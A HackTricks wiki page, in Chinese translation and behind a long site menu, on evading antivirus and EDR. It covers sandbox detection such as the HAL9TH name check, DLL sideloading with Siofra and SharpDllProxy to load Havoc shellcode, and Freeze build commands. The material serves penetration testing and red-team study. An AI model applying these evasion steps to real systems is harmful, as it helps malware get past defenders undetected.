hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • AV逃避方法论
  • 静态检测
  • 动态分析
  • EXE与DLL
  • DLL 旁路加载 & 代理
  • Freeze
  • AMSI(反恶意软件扫描接口)
  • 混淆
  • SmartScreen和MoTW
  • C#程序集反射
  • 使用其他编程语言
  • 高级逃避
  • 旧技术
  • 检查Defender发现的恶意部分
  • Telnet服务器
  • UltraVNC
  • GreatSCT
  • 编译我们自己的反向 shell
  • 使用编译器的C#
  • C++
  • 使用Python构建注入器示例:
  • 其他工具
  • 更多
  1. Windows Hardening

Antivirus (AV) Bypass

上一页PowerView/SharpView下一页Android APK Checklist

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 发现,我们的独家收藏品

  • 加入 💬 或 或 关注我们的Twitter 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

本页由 编写!

AV逃避方法论

目前,AV使用不同的方法来检查文件是否恶意,包括静态检测、动态分析,以及更高级的EDR中的行为分析。

静态检测

静态检测通过在二进制文件或脚本中标记已知的恶意字符串或字节数组,并从文件本身提取信息(例如文件描述、公司名称、数字签名、图标、校验和等)来实现。这意味着使用已知的公共工具可能更容易被发现,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:

  • 加密

如果加密二进制文件,则AV无法检测到您的程序,但您需要某种加载程序来解密并在内存中运行程序。

  • 混淆

有时,您只需要更改二进制文件或脚本中的一些字符串,就可以使其通过AV,但这可能是一项耗时的任务,具体取决于您尝试混淆的内容。

  • 自定义工具

如果开发自己的工具,则不会有已知的恶意签名,但这需要大量时间和精力。

检查Windows Defender静态检测的一个好方法是使用。它基本上将文件分成多个段,然后要求Defender逐个扫描每个段,这样,它可以准确告诉您在您的二进制文件中有哪些被标记的字符串或字节。

动态分析

动态分析是指AV在沙箱中运行您的二进制文件并监视恶意活动(例如尝试解密并读取浏览器密码,对LSASS执行minidump等)。这部分可能会更加棘手,但以下是一些可以用来逃避沙箱的方法。

  • 执行前休眠 根据实现方式,这可能是绕过AV动态分析的好方法。AV有很短的时间来扫描文件,以免打断用户的工作流程,因此使用长时间的休眠可能会干扰二进制文件的分析。问题在于许多AV沙箱可能会根据实现方式跳过休眠。

  • 检查机器资源 通常,沙箱的资源非常有限(例如<2GB RAM),否则可能会减慢用户的机器。您还可以在这里非常有创意,例如通过检查CPU温度甚至风扇转速,不是所有内容都会在沙箱中实现。

  • 特定于机器的检查 如果您想针对加入“contoso.local”域的工作站用户进行定位,可以检查计算机的域,看看是否与您指定的域匹配,如果不匹配,则可以使您的程序退出。

事实证明,Microsoft Defender的沙箱计算机名是HAL9TH,因此,您可以在引爆前检查恶意软件中的计算机名,如果名称与HAL9TH匹配,则意味着您在Defender的沙箱中,因此可以使您的程序退出。

正如我们在本文中之前所说,公共工具最终将被检测到,因此,您应该问自己一个问题:

例如,如果您想转储LSASS,您真的需要使用mimikatz吗?或者您可以使用一个不太知名但也可以转储LSASS的项目。

正确答案可能是后者。以mimikatz为例,它可能是AV和EDR中最被标记的恶意软件之一,虽然项目本身非常酷,但要绕过AV,与其使用它,还不如寻找您尝试实现的目标的替代方案。

在修改用于逃避的有效负载时,请确保在defender中关闭自动样本提交,并且,请认真对待,不要将其上传到VIRUSTOTAL,如果您的目标是长期实现逃避。如果要检查特定AV是否检测到您的有效负载,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到您对结果满意为止。

EXE与DLL

在可能的情况下,始终优先使用DLL进行逃避,根据我的经验,DLL文件通常检测和分析要少得多,因此这是一个非常简单的技巧,可用于在某些情况下避免检测(如果您的有效负载有某种方式作为DLL运行)。

正如我们在这张图片中看到的,Havoc的DLL有效负载在antiscan.me中的检测率为4/26,而EXE有效负载的检测率为7/26。

现在我们将展示一些您可以使用DLL文件的技巧,使其更加隐蔽。

DLL 旁路加载 & 代理

DLL 旁路加载 利用加载程序使用的 DLL 搜索顺序,通过将受害应用程序和恶意载荷放置在一起来实现。

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

这个命令将输出在"C:\Program Files\"目录下易受DLL劫持影响的程序列表,以及它们尝试加载的DLL文件。

我强烈建议你自己探索DLL劫持/侧载程序,这种技术如果做得很隐蔽,是相当有效的,但如果你使用公开已知的DLL侧载程序,可能会很容易被发现。

仅仅通过放置一个恶意DLL并命名为程序期望加载的DLL,并不会加载你的有效负载,因为程序期望在该DLL中有一些特定的函数,为了解决这个问题,我们将使用另一种称为DLL代理/转发的技术。

DLL代理将程序从代理(和恶意)DLL发出的调用转发到原始DLL,从而保留程序的功能并能够处理执行你的有效负载。

以下是我遵循的步骤:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

最后一个命令会给我们2个文件:一个DLL源代码模板和原始重命名的DLL。

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

这些是结果:

Freeze 是一个绕过 EDRs 的 payload 工具包,使用挂起进程、直接系统调用和替代执行方法

您可以使用 Freeze 以隐秘的方式加载和执行您的 shellcode。

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

逃避检测只是一场猫鼠游戏,今天有效的方法明天可能被发现,因此永远不要只依赖一个工具,如果可能的话,尝试链接多种逃避技术。

AMSI(反恶意软件扫描接口)

AMSI功能已集成到Windows的以下组件中。

  • 用户帐户控制(UAC)(提升EXE、COM、MSI或ActiveX安装)

  • PowerShell(脚本、交互式使用和动态代码评估)

  • Windows脚本宿主(wscript.exe和cscript.exe)

